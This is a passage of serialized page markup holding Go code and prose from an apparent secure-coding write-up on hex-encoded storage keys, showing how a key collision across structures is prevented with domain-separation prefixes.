key",{"type":23,"tag":504,"props":88740,"children":88741},{"style":5047},[88742],{"type":29,"value":78481},{"type":23,"tag":504,"props":88744,"children":88745},{"style":5041},[88746],{"type":29,"value":84298},{"type":23,"tag":504,"props":88748,"children":88749},{"style":5058},[88750],{"type":29,"value":357},{"type":23,"tag":504,"props":88752,"children":88753},{"style":5139},[88754],{"type":29,"value":87286},{"type":23,"tag":504,"props":88756,"children":88757},{"style":5058},[88758],{"type":29,"value":5512},{"type":23,"tag":504,"props":88760,"children":88761},{"class":5016,"line":5859},[88762,88767],{"type":23,"tag":504,"props":88763,"children":88764},{"style":6297},[88765],{"type":29,"value":88766},"        \"%d%s%s%s%s\"",{"type":23,"tag":504,"props":88768,"children":88769},{"style":5058},[88770],{"type":29,"value":5557},{"type":23,"tag":504,"props":88772,"children":88773},{"class":5016,"line":5891},[88774,88779],{"type":23,"tag":504,"props":88775,"children":88776},{"style":5041},[88777],{"type":29,"value":88778},"        vaultId",{"type":23,"tag":504,"props":88780,"children":88781},{"style":5058},[88782],{"type":29,"value":5557},{"type":23,"tag":504,"props":88784,"children":88785},{"class":5016,"line":5899},[88786,88791],{"type":23,"tag":504,"props":88787,"children":88788},{"style":5041},[88789],{"type":29,"value":88790},"        Seperator",{"type":23,"tag":504,"props":88792,"children":88793},{"style":5058},[88794],{"type":29,"value":5557},{"type":23,"tag":504,"props":88796,"children":88797},{"class":5016,"line":5959},[88798,88803],{"type":23,"tag":504,"props":88799,"children":88800},{"style":5041},[88801],{"type":29,"value":88802},"        usernameEncoded",{"type":23,"tag":504,"props":88804,"children":88805},{"style":5058},[88806],{"type":29,"value":5557},{"type":23,"tag":504,"props":88808,"children":88809},{"class":5016,"line":11093},[88810,88814],{"type":23,"tag":504,"props":88811,"children":88812},{"style":5041},[88813],{"type":29,"value":88790},{"type":23,"tag":504,"props":88815,"children":88816},{"style":5058},[88817],{"type":29,"value":5557},{"type":23,"tag":504,"props":88819,"children":88820},{"class":5016,"line":11111},[88821,88826],{"type":23,"tag":504,"props":88822,"children":88823},{"style":5041},[88824],{"type":29,"value":88825},"        positionNameEncoded",{"type":23,"tag":504,"props":88827,"children":88828},{"style":5058},[88829],{"type":29,"value":5557},{"type":23,"tag":504,"props":88831,"children":88832},{"class":5016,"line":11156},[88833],{"type":23,"tag":504,"props":88834,"children":88835},{"style":5058},[88836],{"type":29,"value":25971},{"type":23,"tag":504,"props":88838,"children":88839},{"class":5016,"line":11262},[88840],{"type":23,"tag":504,"props":88841,"children":88842},{"style":5058},[88843],{"type":29,"value":5965},{"type":23,"tag":504,"props":88845,"children":88846},{"class":5016,"line":25550},[88847],{"type":23,"tag":504,"props":88848,"children":88849},{"emptyLinePlaceholder":15},[88850],{"type":29,"value":5734},{"type":23,"tag":504,"props":88852,"children":88853},{"class":5016,"line":25585},[88854],{"type":23,"tag":504,"props":88855,"children":88856},{"emptyLinePlaceholder":15},[88857],{"type":29,"value":5734},{"type":23,"tag":504,"props":88859,"children":88860},{"class":5016,"line":25593},[88861,88865,88870],{"type":23,"tag":504,"props":88862,"children":88863},{"style":5030},[88864],{"type":29,"value":78365},{"type":23,"tag":504,"props":88866,"children":88867},{"style":5139},[88868],{"type":29,"value":88869}," AddressMapKey",{"type":23,"tag":504,"props":88871,"children":88872},{"style":5058},[88873],{"type":29,"value":5512},{"type":23,"tag":504,"props":88875,"children":88876},{"class":5016,"line":25601},[88877,88881,88885],{"type":23,"tag":504,"props":88878,"children":88879},{"style":5041},[88880],{"type":29,"value":87310},{"type":23,"tag":504,"props":88882,"children":88883},{"style":5467},[88884],{"type":29,"value":78486},{"type":23,"tag":504,"props":88886,"children":88887},{"style":5058},[88888],{"type":29,"value":5557},{"type":23,"tag":504,"props":88890,"children":88891},{"class":5016,"line":25610},[88892,88896,88900,88905,88909],{"type":23,"tag":504,"props":88893,"children":88894},{"style":5041},[88895],{"type":29,"value":87322},{"type":23,"tag":504,"props":88897,"children":88898},{"style":5058},[88899],{"type":29,"value":4367},{"type":23,"tag":504,"props":88901,"children":88902},{"style":5041},[88903],{"type":29,"value":88904},"addressName",{"type":23,"tag":504,"props":88906,"children":88907},{"style":5058},[88908],{"type":29,"value":78292},{"type":23,"tag":504,"props":88910,"children":88911},{"style":5467},[88912],{"type":29,"value":86292},{"type":23,"tag":504,"props":88914,"children":88915},{"class":5016,"line":25652},[88916,88920,88924,88928,88932],{"type":23,"tag":504,"props":88917,"children":88918},{"style":5058},[88919],{"type":29,"value":78447},{"type":23,"tag":504,"props":88921,"children":88922},{"style":5041},[88923],{"type":29,"value":74219},{"type":23,"tag":504,"props":88925,"children":88926},{"style":5058},[88927],{"type":29,"value":78292},{"type":23,"tag":504,"props":88929,"children":88930},{"style":5467},[88931],{"type":29,"value":86828},{"type":23,"tag":504,"props":88933,"children":88934},{"style":5058},[88935],{"type":29,"value":16850},{"type":23,"tag":504,"props":88937,"children":88938},{"class":5016,"line":25685},[88939,88943,88947,88951],{"type":23,"tag":504,"props":88940,"children":88941},{"style":5041},[88942],{"type":29,"value":87924},{"type":23,"tag":504,"props":88944,"children":88945},{"style":5047},[88946],{"type":29,"value":78481},{"type":23,"tag":504,"props":88948,"children":88949},{"style":5139},[88950],{"type":29,"value":87627},{"type":23,"tag":504,"props":88952,"children":88953},{"style":5058},[88954],{"type":29,"value":5512},{"type":23,"tag":504,"props":88956,"children":88957},{"class":5016,"line":25693},[88958,88962,88966],{"type":23,"tag":504,"props":88959,"children":88960},{"style":5058},[88961],{"type":29,"value":88518},{"type":23,"tag":504,"props":88963,"children":88964},{"style":5467},[88965],{"type":29,"value":86828},{"type":23,"tag":504,"props":88967,"children":88968},{"style":5058},[88969],{"type":29,"value":5557},{"type":23,"tag":504,"props":88971,"children":88972},{"class":5016,"line":25701},[88973,88977,88981,88985,88989,88993,88997,89001],{"type":23,"tag":504,"props":88974,"children":88975},{"style":5041},[88976],{"type":29,"value":88534},{"type":23,"tag":504,"props":88978,"children":88979},{"style":5058},[88980],{"type":29,"value":357},{"type":23,"tag":504,"props":88982,"children":88983},{"style":5139},[88984],{"type":29,"value":87664},{"type":23,"tag":504,"props":88986,"children":88987},{"style":5058},[88988],{"type":29,"value":603},{"type":23,"tag":504,"props":88990,"children":88991},{"style":5139},[88992],{"type":29,"value":11186},{"type":23,"tag":504,"props":88994,"children":88995},{"style":5058},[88996],{"type":29,"value":603},{"type":23,"tag":504,"props":88998,"children":88999},{"style":5041},[89000],{"type":29,"value":87534},{"type":23,"tag":504,"props":89002,"children":89003},{"style":5058},[89004],{"type":29,"value":87685},{"type":23,"tag":504,"props":89006,"children":89007},{"class":5016,"line":25710},[89008],{"type":23,"tag":504,"props":89009,"children":89010},{"style":5058},[89011],{"type":29,"value":25971},{"type":23,"tag":504,"props":89013,"children":89014},{"class":5016,"line":25786},[89015,89019,89023,89027,89031,89035,89039,89043],{"type":23,"tag":504,"props":89016,"children":89017},{"style":5041},[89018],{"type":29,"value":87655},{"type":23,"tag":504,"props":89020,"children":89021},{"style":5058},[89022],{"type":29,"value":357},{"type":23,"tag":504,"props":89024,"children":89025},{"style":5139},[89026],{"type":29,"value":87709},{"type":23,"tag":504,"props":89028,"children":89029},{"style":5058},[89030],{"type":29,"value":603},{"type":23,"tag":504,"props":89032,"children":89033},{"style":5041},[89034],{"type":29,"value":87618},{"type":23,"tag":504,"props":89036,"children":89037},{"style":5058},[89038],{"type":29,"value":4367},{"type":23,"tag":504,"props":89040,"children":89041},{"style":5041},[89042],{"type":29,"value":87534},{"type":23,"tag":504,"props":89044,"children":89045},{"style":5058},[89046],{"type":29,"value":5200},{"type":23,"tag":504,"props":89048,"children":89049},{"class":5016,"line":25819},[89050],{"type":23,"tag":504,"props":89051,"children":89052},{"emptyLinePlaceholder":15},[89053],{"type":29,"value":5734},{"type":23,"tag":504,"props":89055,"children":89056},{"class":5016,"line":25827},[89057,89062,89066,89070],{"type":23,"tag":504,"props":89058,"children":89059},{"style":5041},[89060],{"type":29,"value":89061},"    addressNameEncoded",{"type":23,"tag":504,"props":89063,"children":89064},{"style":5047},[89065],{"type":29,"value":78481},{"type":23,"tag":504,"props":89067,"children":89068},{"style":5139},[89069],{"type":29,"value":87627},{"type":23,"tag":504,"props":89071,"children":89072},{"style":5058},[89073],{"type":29,"value":5512},{"type":23,"tag":504,"props":89075,"children":89076},{"class":5016,"line":25835},[89077,89081,89085],{"type":23,"tag":504,"props":89078,"children":89079},{"style":5058},[89080],{"type":29,"value":88518},{"type":23,"tag":504,"props":89082,"children":89083},{"style":5467},[89084],{"type":29,"value":86828},{"type":23,"tag":504,"props":89086,"children":89087},{"style":5058},[89088],{"type":29,"value":5557},{"type":23,"tag":504,"props":89090,"children":89091},{"class":5016,"line":25872},[89092,89096,89100,89104,89108,89112,89116,89120],{"type":23,"tag":504,"props":89093,"children":89094},{"style":5041},[89095],{"type":29,"value":88534},{"type":23,"tag":504,"props":89097,"children":89098},{"style":5058},[89099],{"type":29,"value":357},{"type":23,"tag":504,"props":89101,"children":89102},{"style":5139},[89103],{"type":29,"value":87664},{"type":23,"tag":504,"props":89105,"children":89106},{"style":5058},[89107],{"type":29,"value":603},{"type":23,"tag":504,"props":89109,"children":89110},{"style":5139},[89111],{"type":29,"value":11186},{"type":23,"tag":504,"props":89113,"children":89114},{"style":5058},[89115],{"type":29,"value":603},{"type":23,"tag":504,"props":89117,"children":89118},{"style":5041},[89119],{"type":29,"value":88904},{"type":23,"tag":504,"props":89121,"children":89122},{"style":5058},[89123],{"type":29,"value":87685},{"type":23,"tag":504,"props":89125,"children":89126},{"class":5016,"line":25885},[89127],{"type":23,"tag":504,"props":89128,"children":89129},{"style":5058},[89130],{"type":29,"value":25971},{"type":23,"tag":504,"props":89132,"children":89133},{"class":5016,"line":25898},[89134,89138,89142,89146,89150,89155,89159,89163],{"type":23,"tag":504,"props":89135,"children":89136},{"style":5041},[89137],{"type":29,"value":87655},{"type":23,"tag":504,"props":89139,"children":89140},{"style":5058},[89141],{"type":29,"value":357},{"type":23,"tag":504,"props":89143,"children":89144},{"style":5139},[89145],{"type":29,"value":87709},{"type":23,"tag":504,"props":89147,"children":89148},{"style":5058},[89149],{"type":29,"value":603},{"type":23,"tag":504,"props":89151,"children":89152},{"style":5041},[89153],{"type":29,"value":89154},"addressNameEncoded",{"type":23,"tag":504,"props":89156,"children":89157},{"style":5058},[89158],{"type":29,"value":4367},{"type":23,"tag":504,"props":89160,"children":89161},{"style":5041},[89162],{"type":29,"value":88904},{"type":23,"tag":504,"props":89164,"children":89165},{"style":5058},[89166],{"type":29,"value":5200},{"type":23,"tag":504,"props":89168,"children":89169},{"class":5016,"line":25911},[89170],{"type":23,"tag":504,"props":89171,"children":89172},{"emptyLinePlaceholder":15},[89173],{"type":29,"value":5734},{"type":23,"tag":504,"props":89175,"children":89176},{"class":5016,"line":25965},[89177,89181,89185,89189,89193,89197],{"type":23,"tag":504,"props":89178,"children":89179},{"style":5041},[89180],{"type":29,"value":88738},{"type":23,"tag":504,"props":89182,"children":89183},{"style":5047},[89184],{"type":29,"value":78481},{"type":23,"tag":504,"props":89186,"children":89187},{"style":5041},[89188],{"type":29,"value":84298},{"type":23,"tag":504,"props":89190,"children":89191},{"style":5058},[89192],{"type":29,"value":357},{"type":23,"tag":504,"props":89194,"children":89195},{"style":5139},[89196],{"type":29,"value":87286},{"type":23,"tag":504,"props":89198,"children":89199},{"style":5058},[89200],{"type":29,"value":5512},{"type":23,"tag":504,"props":89202,"children":89203},{"class":5016,"line":25974},[89204,89208],{"type":23,"tag":504,"props":89205,"children":89206},{"style":6297},[89207],{"type":29,"value":88766},{"type":23,"tag":504,"props":89209,"children":89210},{"style":5058},[89211],{"type":29,"value":5557},{"type":23,"tag":504,"props":89213,"children":89214},{"class":5016,"line":34336},[89215,89219],{"type":23,"tag":504,"props":89216,"children":89217},{"style":5041},[89218],{"type":29,"value":88778},{"type":23,"tag":504,"props":89220,"children":89221},{"style":5058},[89222],{"type":29,"value":5557},{"type":23,"tag":504,"props":89224,"children":89225},{"class":5016,"line":34357},[89226,89230],{"type":23,"tag":504,"props":89227,"children":89228},{"style":5041},[89229],{"type":29,"value":88790},{"type":23,"tag":504,"props":89231,"children":89232},{"style":5058},[89233],{"type":29,"value":5557},{"type":23,"tag":504,"props":89235,"children":89236},{"class":5016,"line":83015},[89237,89241],{"type":23,"tag":504,"props":89238,"children":89239},{"style":5041},[89240],{"type":29,"value":88802},{"type":23,"tag":504,"props":89242,"children":89243},{"style":5058},[89244],{"type":29,"value":5557},{"type":23,"tag":504,"props":89246,"children":89247},{"class":5016,"line":83028},[89248,89252],{"type":23,"tag":504,"props":89249,"children":89250},{"style":5041},[89251],{"type":29,"value":88790},{"type":23,"tag":504,"props":89253,"children":89254},{"style":5058},[89255],{"type":29,"value":5557},{"type":23,"tag":504,"props":89257,"children":89258},{"class":5016,"line":83036},[89259,89264],{"type":23,"tag":504,"props":89260,"children":89261},{"style":5041},[89262],{"type":29,"value":89263},"        addressNameEncoded",{"type":23,"tag":504,"props":89265,"children":89266},{"style":5058},[89267],{"type":29,"value":5557},{"type":23,"tag":504,"props":89269,"children":89270},{"class":5016,"line":83044},[89271],{"type":23,"tag":504,"props":89272,"children":89273},{"style":5058},[89274],{"type":29,"value":25971},{"type":23,"tag":504,"props":89276,"children":89277},{"class":5016,"line":83052},[89278],{"type":23,"tag":504,"props":89279,"children":89280},{"style":5058},[89281],{"type":29,"value":5965},{"type":23,"tag":32,"props":89283,"children":89284},{},[89285,89287,89292],{"type":29,"value":89286},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":23,"tag":154,"props":89288,"children":89290},{"className":89289},[],[89291],{"type":29,"value":87040},{"type":29,"value":89293},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":23,"tag":4743,"props":89295,"children":89297},{"code":89296},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[89298],{"type":23,"tag":154,"props":89299,"children":89300},{"__ignoreMap":7},[89301],{"type":29,"value":89296},{"type":23,"tag":32,"props":89303,"children":89304},{},[89305],{"type":29,"value":89306},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":23,"tag":4743,"props":89308,"children":89310},{"code":89309,"language":78229,"meta":7,"className":78230,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[89311],{"type":23,"tag":154,"props":89312,"children":89313},{"__ignoreMap":7},[89314,89325,89340,89367,89392,89399,89406,89413,89428,89443,89470,89493,89512,89527,89562,89569,89604,89611,89630,89645,89680,89687,89722,89729,89756,89768,89780,89791,89802,89813,89824,89835,89842,89849,89856,89863,89878,89893,89920,89943,89962,89977,90012,90019,90054,90061,90080,90095,90130,90137,90172,90179,90206,90217,90229,90240,90251,90262,90273,90284,90292],{"type":23,"tag":504,"props":89315,"children":89316},{"class":5016,"line":5017},[89317,89321],{"type":23,"tag":504,"props":89318,"children":89319},{"style":5030},[89320],{"type":29,"value":11701},{"type":23,"tag":504,"props":89322,"children":89323},{"style":5058},[89324],{"type":29,"value":80630},{"type":23,"tag":504,"props":89326,"children":89327},{"class":5016,"line":4868},[89328,89332,89336],{"type":23,"tag":504,"props":89329,"children":89330},{"style":5041},[89331],{"type":29,"value":87394},{"type":23,"tag":504,"props":89333,"children":89334},{"style":5047},[89335],{"type":29,"value":5050},{"type":23,"tag":504,"props":89337,"children":89338},{"style":6297},[89339],{"type":29,"value":87403},{"type":23,"tag":504,"props":89341,"children":89342},{"class":5016,"line":4876},[89343,89348,89352,89357,89362],{"type":23,"tag":504,"props":89344,"children":89345},{"style":5041},[89346],{"type":29,"value":89347},"    PositionMapPrefix",{"type":23,"tag":504,"props":89349,"children":89350},{"style":5047},[89351],{"type":29,"value":5050},{"type":23,"tag":504,"props":89353,"children":89354},{"style":6297},[89355],{"type":29,"value":89356}," \"",{"type":23,"tag":504,"props":89358,"children":89359},{"style":50436},[89360],{"type":29,"value":89361},"\\x01",{"type":23,"tag":504,"props":89363,"children":89364},{"style":6297},[89365],{"type":29,"value":89366},"\"\n",{"type":23,"tag":504,"props":89368,"children":89369},{"class":5016,"line":5099},[89370,89375,89379,89383,89388],{"type":23,"tag":504,"props":89371,"children":89372},{"style":5041},[89373],{"type":29,"value":89374},"    AddressMapPrefix",{"type":23,"tag":504,"props":89376,"children":89377},{"style":5047},[89378],{"type":29,"value":5050},{"type":23,"tag":504,"props":89380,"children":89381},{"style":6297},[89382],{"type":29,"value":89356},{"type":23,"tag":504,"props":89384,"children":89385},{"style":50436},[89386],{"type":29,"value":89387},"\\x02",{"type":23,"tag":504,"props":89389,"children":89390},{"style":6297},[89391],{"type":29,"value":89366},{"type":23,"tag":504,"props":89393,"children":89394},{"class":5016,"line":5203},[89395],{"type":23,"tag":504,"props":89396,"children":89397},{"style":5058},[89398],{"type":29,"value":5200},{"type":23,"tag":504,"props":89400,"children":89401},{"class":5016,"line":5308},[89402],{"type":23,"tag":504,"props":89403,"children":89404},{"emptyLinePlaceholder":15},[89405],{"type":29,"value":5734},{"type":23,"tag":504,"props":89407,"children":89408},{"class":5016,"line":5336},[89409],{"type":23,"tag":504,"props":89410,"children":89411},{"emptyLinePlaceholder":15},[89412],{"type":29,"value":5734},{"type":23,"tag":504,"props":89414,"children":89415},{"class":5016,"line":5349},[89416,89420,89424],{"type":23,"tag":504,"props":89417,"children":89418},{"style":5030},[89419],{"type":29,"value":78365},{"type":23,"tag":504,"props":89421,"children":89422},{"style":5139},[89423],{"type":29,"value":88422},{"type":23,"tag":504,"props":89425,"children":89426},{"style":5058},[89427],{"type":29,"value":5512},{"type":23,"tag":504,"props":89429,"children":89430},{"class":5016,"line":5367},[89431,89435,89439],{"type":23,"tag":504,"props":89432,"children":89433},{"style":5041},[89434],{"type":29,"value":87310},{"type":23,"tag":504,"props":89436,"children":89437},{"style":5467},[89438],{"type":29,"value":78486},{"type":23,"tag":504,"props":89440,"children":89441},{"style":5058},[89442],{"type":29,"value":5557},{"type":23,"tag":504,"props":89444,"children":89445},{"class":5016,"line":5388},[89446,89450,89454,89458,89462,89466],{"type":23,"tag":504,"props":89447,"children":89448},{"style":5041},[89449],{"type":29,"value":87322},{"type":23,"tag":504,"props":89451,"children":89452},{"style":5058},[89453],{"type":29,"value":4367},{"type":23,"tag":504,"props":89455,"children":89456},{"style":5041},[89457],{"type":29,"value":87803},{"type":23,"tag":504,"props":89459,"children":89460},{"style":5058},[89461],{"type":29,"value":78292},{"type":23,"tag":504,"props":89463,"children":89464},{"style":5467},[89465],{"type":29,"value":86828},{"type":23,"tag":504,"props":89467,"children":89468},{"style":5058},[89469],{"type":29,"value":5557},{"type":23,"tag":504,"props":89471,"children":89472},{"class":5016,"line":5397},[89473,89477,89481,89485,89489],{"type":23,"tag":504,"props":89474,"children":89475},{"style":5058},[89476],{"type":29,"value":78447},{"type":23,"tag":504,"props":89478,"children":89479},{"style":5041},[89480],{"type":29,"value":74219},{"type":23,"tag":504,"props":89482,"children":89483},{"style":5058},[89484],{"type":29,"value":78292},{"type":23,"tag":504,"props":89486,"children":89487},{"style":5467},[89488],{"type":29,"value":86828},{"type":23,"tag":504,"props":89490,"children":89491},{"style":5058},[89492],{"type":29,"value":16850},{"type":23,"tag":504,"props":89494,"children":89495},{"class":5016,"line":5649},[89496,89500,89504,89508],{"type":23,"tag":504,"props":89497,"children":89498},{"style":5041},[89499],{"type":29,"value":87924},{"type":23,"tag":504,"props":89501,"children":89502},{"style":5047},[89503],{"type":29,"value":78481},{"type":23,"tag":504,"props":89505,"children":89506},{"style":5139},[89507],{"type":29,"value":87627},{"type":23,"tag":504,"props":89509,"children":89510},{"style":5058},[89511],{"type":29,"value":5512},{"type":23,"tag":504,"props":89513,"children":89514},{"class":5016,"line":5666},[89515,89519,89523],{"type":23,"tag":504,"props":89516,"children":89517},{"style":5058},[89518],{"type":29,"value":88518},{"type":23,"tag":504,"props":89520,"children":89521},{"style":5467},[89522],{"type":29,"value":86828},{"type":23,"tag":504,"props":89524,"children":89525},{"style":5058},[89526],{"type":29,"value":5557},{"type":23,"tag":504,"props":89528,"children":89529},{"class":5016,"line":5683},[89530,89534,89538,89542,89546,89550,89554,89558],{"type":23,"tag":504,"props":89531,"children":89532},{"style":5041},[89533],{"type":29,"value":88534},{"type":23,"tag":504,"props":89535,"children":89536},{"style":5058},[89537],{"type":29,"value":357},{"type":23,"tag":504,"props":89539,"children":89540},{"style":5139},[89541],{"type":29,"value":87664},{"type":23,"tag":504,"props":89543,"children":89544},{"style":5058},[89545],{"type":29,"value":603},{"type":23,"tag":504,"props":89547,"children":89548},{"style":5139},[89549],{"type":29,"value":11186},{"type":23,"tag":504,"props":89551,"children":89552},{"style":5058},[89553],{"type":29,"value":603},{"type":23,"tag":504,"props":89555,"children":89556},{"style":5041},[89557],{"type":29,"value":87534},{"type":23,"tag":504,"props":89559,"children":89560},{"style":5058},[89561],{"type":29,"value":87685},{"type":23,"tag":504,"props":89563,"children":89564},{"class":5016,"line":5696},[89565],{"type":23,"tag":504,"props":89566,"children":89567},{"style":5058},[89568],{"type":29,"value":25971},{"type":23,"tag":504,"props":89570,"children":89571},{"class":5016,"line":5705},[89572,89576,89580,89584,89588,89592,89596,89600],{"type":23,"tag":504,"props":89573,"children":89574},{"style":5041},[89575],{"type":29,"value":87655},{"type":23,"tag":504,"props":89577,"children":89578},{"style":5058},[89579],{"type":29,"value":357},{"type":23,"tag":504,"props":89581,"children":89582},{"style":5139},[89583],{"type":29,"value":87709},{"type":23,"tag":504,"props":89585,"children":89586},{"style":5058},[89587],{"type":29,"value":603},{"type":23,"tag":504,"props":89589,"children":89590},{"style":5041},[89591],{"type":29,"value":87618},{"type":23,"tag":504,"props":89593,"children":89594},{"style":5058},[89595],{"type":29,"value":4367},{"type":23,"tag":504,"props":89597,"children":89598},{"style":5041},[89599],{"type":29,"value":87534},{"type":23,"tag":504,"props":89601,"children":89602},{"style":5058},[89603],{"type":29,"value":5200},{"type":23,"tag":504,"props":89605,"children":89606},{"class":5016,"line":5728},[89607],{"type":23,"tag":504,"props":89608,"children":89609},{"emptyLinePlaceholder":15},[89610],{"type":29,"value":5734},{"type":23,"tag":504,"props":89612,"children":89613},{"class":5016,"line":5737},[89614,89618,89622,89626],{"type":23,"tag":504,"props":89615,"children":89616},{"style":5041},[89617],{"type":29,"value":88619},{"type":23,"tag":504,"props":89619,"children":89620},{"style":5047},[89621],{"type":29,"value":78481},{"type":23,"tag":504,"props":89623,"children":89624},{"style":5139},[89625],{"type":29,"value":87627},{"type":23,"tag":504,"props":89627,"children":89628},{"style":5058},[89629],{"type":29,"value":5512},{"type":23,"tag":504,"props":89631,"children":89632},{"class":5016,"line":5746},[89633,89637,89641],{"type":23,"tag":504,"props":89634,"children":89635},{"style":5058},[89636],{"type":29,"value":88518},{"type":23,"tag":504,"props":89638,"children":89639},{"style":5467},[89640],{"type":29,"value":86828},{"type":23,"tag":504,"props":89642,"children":89643},{"style":5058},[89644],{"type":29,"value":5557},{"type":23,"tag":504,"props":89646,"children":89647},{"class":5016,"line":5813},[89648,89652,89656,89660,89664,89668,89672,89676],{"type":23,"tag":504,"props":89649,"children":89650},{"style":5041},[89651],{"type":29,"value":88534},{"type":23,"tag":504,"props":89653,"children":89654},{"style":5058},[89655],{"type":29,"value":357},{"type":23,"tag":504,"props":89657,"children":89658},{"style":5139},[89659],{"type":29,"value":87664},{"type":23,"tag":504,"props":89661,"children":89662},{"style":5058},[89663],{"type":29,"value":603},{"type":23,"tag":504,"props":89665,"children":89666},{"style":5139},[89667],{"type":29,"value":11186},{"type":23,"tag":504,"props":89669,"children":89670},{"style":5058},[89671],{"type":29,"value":603},{"type":23,"tag":504,"props":89673,"children":89674},{"style":5041},[89675],{"type":29,"value":87803},{"type":23,"tag":504,"props":89677,"children":89678},{"style":5058},[89679],{"type":29,"value":87685},{"type":23,"tag":504,"props":89681,"children":89682},{"class":5016,"line":5821},[89683],{"type":23,"tag":504,"props":89684,"children":89685},{"style":5058},[89686],{"type":29,"value":25971},{"type":23,"tag":504,"props":89688,"children":89689},{"class":5016,"line":5851},[89690,89694,89698,89702,89706,89710,89714,89718],{"type":23,"tag":504,"props":89691,"children":89692},{"style":5041},[89693],{"type":29,"value":87655},{"type":23,"tag":504,"props":89695,"children":89696},{"style":5058},[89697],{"type":29,"value":357},{"type":23,"tag":504,"props":89699,"children":89700},{"style":5139},[89701],{"type":29,"value":87709},{"type":23,"tag":504,"props":89703,"children":89704},{"style":5058},[89705],{"type":29,"value":603},{"type":23,"tag":504,"props":89707,"children":89708},{"style":5041},[89709],{"type":29,"value":87744},{"type":23,"tag":504,"props":89711,"children":89712},{"style":5058},[89713],{"type":29,"value":4367},{"type":23,"tag":504,"props":89715,"children":89716},{"style":5041},[89717],{"type":29,"value":87803},{"type":23,"tag":504,"props":89719,"children":89720},{"style":5058},[89721],{"type":29,"value":5200},{"type":23,"tag":504,"props":89723,"children":89724},{"class":5016,"line":5859},[89725],{"type":23,"tag":504,"props":89726,"children":89727},{"emptyLinePlaceholder":15},[89728],{"type":29,"value":5734},{"type":23,"tag":504,"props":89730,"children":89731},{"class":5016,"line":5891},[89732,89736,89740,89744,89748,89752],{"type":23,"tag":504,"props":89733,"children":89734},{"style":5041},[89735],{"type":29,"value":88738},{"type":23,"tag":504,"props":89737,"children":89738},{"style":5047},[89739],{"type":29,"value":78481},{"type":23,"tag":504,"props":89741,"children":89742},{"style":5041},[89743],{"type":29,"value":84298},{"type":23,"tag":504,"props":89745,"children":89746},{"style":5058},[89747],{"type":29,"value":357},{"type":23,"tag":504,"props":89749,"children":89750},{"style":5139},[89751],{"type":29,"value":87286},{"type":23,"tag":504,"props":89753,"children":89754},{"style":5058},[89755],{"type":29,"value":5512},{"type":23,"tag":504,"props":89757,"children":89758},{"class":5016,"line":5899},[89759,89764],{"type":23,"tag":504,"props":89760,"children":89761},{"style":6297},[89762],{"type":29,"value":89763},"        \"%s%d%s%s%s%s\"",{"type":23,"tag":504,"props":89765,"children":89766},{"style":5058},[89767],{"type":29,"value":5557},{"type":23,"tag":504,"props":89769,"children":89770},{"class":5016,"line":5959},[89771,89776],{"type":23,"tag":504,"props":89772,"children":89773},{"style":5041},[89774],{"type":29,"value":89775},"        PositionMapPrefix",{"type":23,"tag":504,"props":89777,"children":89778},{"style":5058},[89779],{"type":29,"value":5557},{"type":23,"tag":504,"props":89781,"children":89782},{"class":5016,"line":11093},[89783,89787],{"type":23,"tag":504,"props":89784,"children":89785},{"style":5041},[89786],{"type":29,"value":88778},{"type":23,"tag":504,"props":89788,"children":89789},{"style":5058},[89790],{"type":29,"value":5557},{"type":23,"tag":504,"props":89792,"children":89793},{"class":5016,"line":11111},[89794,89798],{"type":23,"tag":504,"props":89795,"children":89796},{"style":5041},[89797],{"type":29,"value":88790},{"type":23,"tag":504,"props":89799,"children":89800},{"style":5058},[89801],{"type":29,"value":5557},{"type":23,"tag":504,"props":89803,"children":89804},{"class":5016,"line":11156},[89805,89809],{"type":23,"tag":504,"props":89806,"children":89807},{"style":5041},[89808],{"type":29,"value":88802},{"type":23,"tag":504,"props":89810,"children":89811},{"style":5058},[89812],{"type":29,"value":5557},{"type":23,"tag":504,"props":89814,"children":89815},{"class":5016,"line":11262},[89816,89820],{"type":23,"tag":504,"props":89817,"children":89818},{"style":5041},[89819],{"type":29,"value":88790},{"type":23,"tag":504,"props":89821,"children":89822},{"style":5058},[89823],{"type":29,"value":5557},{"type":23,"tag":504,"props":89825,"children":89826},{"class":5016,"line":25550},[89827,89831],{"type":23,"tag":504,"props":89828,"children":89829},{"style":5041},[89830],{"type":29,"value":88825},{"type":23,"tag":504,"props":89832,"children":89833},{"style":5058},[89834],{"type":29,"value":5557},{"type":23,"tag":504,"props":89836,"children":89837},{"class":5016,"line":25585},[89838],{"type":23,"tag":504,"props":89839,"children":89840},{"style":5058},[89841],{"type":29,"value":25971},{"type":23,"tag":504,"props":89843,"children":89844},{"class":5016,"line":25593},[89845],{"type":23,"tag":504,"props":89846,"children":89847},{"style":5058},[89848],{"type":29,"value":5965},{"type":23,"tag":504,"props":89850,"children":89851},{"class":5016,"line":25601},[89852],{"type":23,"tag":504,"props":89853,"children":89854},{"emptyLinePlaceholder":15},[89855],{"type":29,"value":5734},{"type":23,"tag":504,"props":89857,"children":89858},{"class":5016,"line":25610},[8985